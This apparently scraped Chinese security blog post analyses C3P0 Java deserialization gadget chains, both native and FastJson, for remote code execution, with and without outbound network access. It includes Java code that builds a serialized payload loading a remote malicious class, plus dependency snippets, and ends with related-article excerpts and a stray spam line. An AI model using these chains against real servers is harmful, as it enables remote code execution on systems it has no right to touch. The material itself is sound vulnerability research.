<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Java反序列化之C3P0利用鏈從出網到無需出網原理深入分析與實現

    一顆小胡椒2021-10-15 06:14:14

    引言

    C3P0反序列化利用鏈是Java反序列化漏洞中比較經典的一條RCE利用鏈。但是相對諸如`CommonsCollections`、`CommonsBeanutils`這些常規利用鏈而言,大家的關注度還是要少一些。最近看到有大佬對C3P0利用鏈不出網做了一些研究,在此基礎上,自己也系統地梳理一下各種姿勢的C3P0利用鏈,包括:

    1. Java原生態反序列化利用鏈-遠程加載惡意類
    2. Java原生態反序列化利用鏈改進-無需出網
    3. Json反序列化利用鏈-遠程加載惡意類
    4. Json反序列化利用鏈-無需出網

    這里將4個利用鏈的原理分析與具體實現分享給大家。

    原生態利用鏈-遠程加載惡意類

    首先看下`ysoserial`對C3P0利用鏈的描述:

    C3P0.java
    https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/C3P0.java

    為了方便分析,這里構建一個基礎研究環境,添加依賴項:

    <dependencies>    <dependency>        <groupId>com.mchange</groupId>        <artifactId>C3P0</artifactId>        <version>0.9.5.2</version>    </dependency>    <dependency>        <groupId>org.javassist</groupId>        <artifactId>javassist</artifactId>        <version>3.25.0-GA</version>    </dependency></dependencies>
    

    0x01 靜態分析

    深入分析`ysoserial`調用鏈:

    * com.sun.jndi.rmi.registry.RegistryContext->lookup* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject* com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase->readObject
    

    `com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`:

    首先從`ois`中取出`version`對象,然后再對`ois`進行反序列化操作,提取`IndirectlySerialized`對象(`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized`繼承于`IndirectlySerialized`),進入`com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized#getObject`函數:

    可能很容易認為利用鏈是通過第85行的`lookup`函數觸發的,后來實際調試過程中發現不對。代碼走到第88行,進入函數`ReferenceableUtils.referenceToObject`:

    當`Reference#getFactoryClassLocation`函數返回非空時,將通過`URLClassLoader`去遠程加載類對象,在第51~52行完成實例化操作,所以我們可以構造一個遠程惡意類,然后通過遠程加載實現RCE。

    0x02 構造過程

    從上面分析可知,整個利用鏈起步于`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase#readObject`,剛好`com.mchange.v2.C3P0.impl.PoolBackedDataSourceBase`還存在一個`writeObject`反函數操作:

    通過分析發現,關鍵的封裝過程實際上位于異常處理部分,所以在生成載荷的過程中可以故意拋出一個異常,讓其進入`catch`部分處理。這里可以考慮在第170行對`connectionPoolDataSource`進行序列化操作時,完成異常拋出,因此手動構造一個類`PoolDataSource`:

    因為`PoolDataSource`沒有繼承系列化接口,所以在執行序列化操作時會拋出異常。核心代碼如下:

    public static  void main(String[]args)throws Exception{    String url="http://127.0.0.1:1024/";    String className="exploit";
        ConnectionPoolDataSource connectionPoolDataSource=new PoolDataSource(url,className);    PoolBackedDataSourceBase poolBackedDataSource=new PoolBackedDataSource();    poolBackedDataSource.setConnectionPoolDataSource(connectionPoolDataSource);
        util.serialize(poolBackedDataSource,"py1.ser");
    }
    private static class PoolDataSource implements ConnectionPoolDataSource, Referenceable {    private String className;    private String url;
        public PoolDataSource(String url,String className){        this.className = className;        this.url = url;    }
        public Reference getReference () throws NamingException {        return new Reference("C3P0", this.className, this.url);    }    public PrintWriter getLogWriter () throws SQLException {return null;}    public void setLogWriter ( PrintWriter out ) throws SQLException {}    public void setLoginTimeout ( int seconds ) throws SQLException {}    public int getLoginTimeout () throws SQLException {return 0;}    public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}    public PooledConnection getPooledConnection () throws SQLException {return null;}    public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}}
    

    0x03 測試過程

    構造測試案例,調試如下:

    0x04 小結

    上面構造的C3P0原生態反序列化利用鏈需要出網連接,通過加載遠程惡意類觸發RCE。從上面分析過程可以看出,加載遠程惡意類并非通過`com.sun.jndi.rmi.registry.RegistryContext#lookup`來觸發的,所以`ysoserial`上的注釋描述是不正確的。

    原生態利用鏈改進-無需出網

    0x01 原理分析

    在上面分析過程中提到了,當`Reference#getFactoryClassLocation`函數非空時,將通過`URLClassLoader`去遠程加載類對象,那么如果`Reference#getFactoryClassLocation`函數返回`null`時,代碼是如何走的呢?


    可見,當變量`v11`為`null`時,將會加載當前線程的`ClassLoader`,所以如果在程序上下文環境中能夠找到一個本地類,也是可以實現RCE的。這里大家很容易聯想到veracode研究的高版本JDK利用本地Tomcat環境中的`javax.el.ELProcessor`實現JNDI注入的思路:

    Exploiting JNDI Injections in Java
    https://www.veracode.com/blog/research/exploiting-jndi-injections-java

    當處于Tomcat8及更高版本環境時,也可以通過`javax.el.ELProcessor`來構建不出網利用鏈。

    0x02 構造過程

    將`Reference`對象替換成`ResourceRef`即可:

    與上面設計`PoolDataSource`的思路類似,可以自定義`PoolDataSource2`類:

    0x03 測試過程

    0x04 小結

    與高版本JDK實現JNDI注入類似,利用本地自帶的類,也可以自構一個無需出網的C3P0利用鏈。上面的分析是基于Tomcat環境完成構建的,當存在其他可用的本地類時,也可以達到一樣的效果。

    Json利用鏈-遠程加載惡意類

    C3P0除了可以構建Java原生態反序列化利用鏈之外,還可以構建Json反序列化利用鏈,在`marshalsec`中包含2個利用鏈。

    為了方便調試分析,這里引入FastJson:

    <dependency>    <groupId>com.alibaba</groupId>    <artifactId>fastjson</artifactId>    <version>1.2.24</version></dependency>
    

    0x01 原理分析

    第一條是基于`com.mchange.v2.c3p0.JndiRefForwardingDataSource`來構建的。

    `JndiRefForwardingDataSource#setLoginTimeout`函數:

    進入`inner`函數:

    進入`dereference`函數:


    可以觸發`lookup`,輸入參數來源于`jndiName`參數,而`JndiRefForwardingDataSource`繼承于`JndiRefDataSourceBase`,`JndiRefDataSourceBase#setJndiName`定義如下:

    0x02 構造與測試

    通過上面的分析,我們可以很容易構造出一個JNDI注入的利用鏈:

    Json利用鏈改進-無需出網

    0x01 原理分析

    `marshalsec`中的第二條利用鏈是基于`com.mchange.v2.c3p0.WrapperConnectionPoolDataSource`完成。`WrapperConnectionPoolDataSource`繼承于`WrapperConnectionPoolDataSourceBase`:

    `WrapperConnectionPoolDataSourceBase#setUserOverridesAsString`函數:

    觸發`fireVetoableChange`事件處理,而在`WrapperConnectionPoolDataSource`中重寫了`setUpPropertyListeners`函數:

    當屬性為`userOverridesAsString`時,將調用`parseUserOverridesAsString`函數,跟進:

    對`userOverridesAsString`進行截取后,完成十六進制解碼,然后調用`fromByteArray`函數:

    最終觸發了反序列化操作。

    0x02 構造與測試

    從上面分析可知,當環境中還存在一個Java原生態反序列化利用鏈時,可實現C3P0 Json反序列化無需出網RCE觸發。這里再加入`commons-collections 3`:

    <dependency>  <groupId>commons-collections</groupId>  <artifactId>commons-collections</artifactId>  <version>3.1</version></dependency>
    

    序列化c3p0
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    引言C3P0序列化利用鏈是Java反序列化漏洞中比較經典的一條RCE利用鏈。最近看到有大佬對C3P0利用鏈不出網做了一些研究,在此基礎上,自己也系統地梳理一下各種姿勢的C3P0利用鏈,包括:Java原生態反序列化利用鏈-遠程加載惡意類Java原生態反序列化利用鏈改進-無需出網Json反序列化利用鏈-遠程加載惡意類Json反序列化利用鏈-無需出網這里將4個利用鏈的原理分析與具體實現分享給大家。
    C3P0是一個開源的JDBC連接池,它實現了數據源和JNDI綁定,支持JDBC3規范和JDBC2的標準擴展。
    前言以前做一些 Java 反序列化的題目時,我個人覺得側重點在于readObject之后發生的事情:我們設法尋找可用的gadget并拼接,最后用一行xxx.writeObject()僅用來幫我們得到惡意數據。最近學習過程中做了幾個非常有意思的題目,總結一下其中共同的思想就是對writeObject的流程下手,通過這部分流程中代碼的一些問題來實現漏洞利用。solve先運行這個:package c3p0;public Reference getReference () throws NamingException { return null; }
    Java安全中Groovy組件從反序列化到命令注入及繞過和在白盒中的排查方法
    最近兩個月我一直在做拒絕服務漏洞相關的時間,并收獲了Spring和Weblogic的兩個CVE但DoS漏洞終歸是雞肋洞,并沒有太大的意義,比如之前有人說我只會水垃圾洞而已,所以在以后可能打算做其他方向早上和pyn3rd師傅聊天
    淺談Java反序列化漏洞
    2022-05-17 17:48:01
    Java序列化與反序列化Java 提供了一種對象序列化的機制,該機制中,一個對象可以被表示為一個字節序列,該字節序列包括該對象的數據、有關對象的類型的信息和存儲在對象中數據的類型。反序列化就是打開字節流并重構對象。對象序列化不僅要將基本數據類型轉換成字節表示,有時還要恢復數據。
    java序列化與反序列化
    2022-04-13 16:35:35
    java反序列化指字節序列恢復到java對象。bit,則一個字最大為 FFFF。序列化是把對象轉換成有序字節流,以便在網絡上傳輸或者保存在本地文件中。序列化后的字節流保存了Java對象的狀態以及相關的描述信息。序列化機制的核心作用就是對象狀態的保存與重建。
    序列化漏洞匯總
    2022-01-07 22:17:34
    漏洞出現在WLS Security組件,允許遠程攻擊者執行任意命令。攻擊者通過向TCP端口7001發送T3協議流量,其中包含精心構造的序列化Java對象利用此漏洞。然后將其序列化,提交給未做安全檢測的Java應用。Java應用在進行反序列化操作時,則會觸發TransformedMap的變換函數,執行預設的命令。
    序列化的核心思維旨在,將A變成B,最后再從B還原回A。 總之,在一些條件苛刻或者變化無常的環境與需求中,產生了這種靈活的可逆性的B的中間體。 理解不安全反序列化的最好方法是了解不同的編程語言如何實現序列化和反序列化。這里的序列化與反序列化指的是程序語言中自帶的實施與實現。而非自創或者自定義的序列化與反序列化機制(比如:N進制形式hashmap樹型等其他數據結構里的序列化中間體)。
    攻擊者可能利用此漏洞獲取敏感信息或執行惡意代碼。漏洞概述  漏洞名稱Apache Dubbo多個反序列化漏洞漏洞編號CVE-2023-29234、CVE-2023-46279公開時間2023-12-15影響對象數量級十萬級奇安信評級高危CVSS 評分7.7、8.1威脅類型信息泄露、代碼執行利用可能性中POC狀態未公開在野利用狀態未發現EXP狀態未公開技術細節狀態未公開危害描述:
    一顆小胡椒
    暫無描述
      亚洲 欧美 自拍 唯美 另类